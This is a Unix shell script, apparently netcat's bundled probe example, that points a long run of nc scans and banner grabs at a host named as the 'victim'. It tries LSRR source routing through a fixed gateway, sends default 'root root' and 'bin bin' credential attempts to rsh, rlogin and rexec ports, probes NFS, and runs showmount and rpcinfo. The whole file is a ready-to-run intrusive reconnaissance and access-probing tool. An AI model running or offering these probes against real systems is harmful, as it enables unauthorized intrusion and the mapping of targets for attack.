1 #! /bin/sh 2 ## launch a whole buncha shit at yon victim in no particular order; capture 3 ## stderr+stdout in one place. Run as root for rservice and low -p to work. 4 ## Fairly thorough example of using netcat to collect a lot of host info. 5 ## Will set off every intrusion alarm in existence on a paranoid machine! 6 7 # where .d files are kept; "." if nothing else 8 DDIR=../data 9 # address of some well-connected router that groks LSRR 10 GATE=192.157.69.11 11 12 # might conceivably wanna change this for different run styles 13 UCMD='nc -v -w 8' 14 15 test ! "$1" && echo Needs victim arg && exit 1 16 17 echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2>&1 18 echo '0' | $UCMD "$1" 79 2>&1 19 # if LSRR was passed thru, should get refusal here: 20 $UCMD -z -r -g $GATE "$1" 6473 2>&1 21 $UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1 22 # -s `hostname` may be wrong for some multihomed machines 23 echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2>&1 24 echo '113,10158' | $UCMD -p 10158 "$1" 113 2>&1 25 rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1 26 echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1 27 # newline after any telnet trash 28 echo '' 29 echo PASV | $UCMD -r "$1" 21 2>&1 30 echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2>&1 31 # sometimes contains useful directory info: 32 echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2>&1 33 # now the big red lights go on 34 rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1 35 rservice root root | $UCMD -r "$1" exec 2>&1 36 echo 'BEGIN big udp -- everything may look "open" if packet-filtered' 37 data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1 38 # no wait-time, uses RTT hack 39 nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1 40 nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1 41 echo 'END big udp' 42 $UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1 43 # Use our identd-sniffer! 44 iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1 45 # this gets pretty intrusive, but what the fuck. Probe for portmap first 46 if nc -w 5 -z -u "$1" 111 ; then 47 showmount -e "$1" 2>&1 48 rpcinfo -p "$1" 2>&1 49 fi 50 exit 0 51
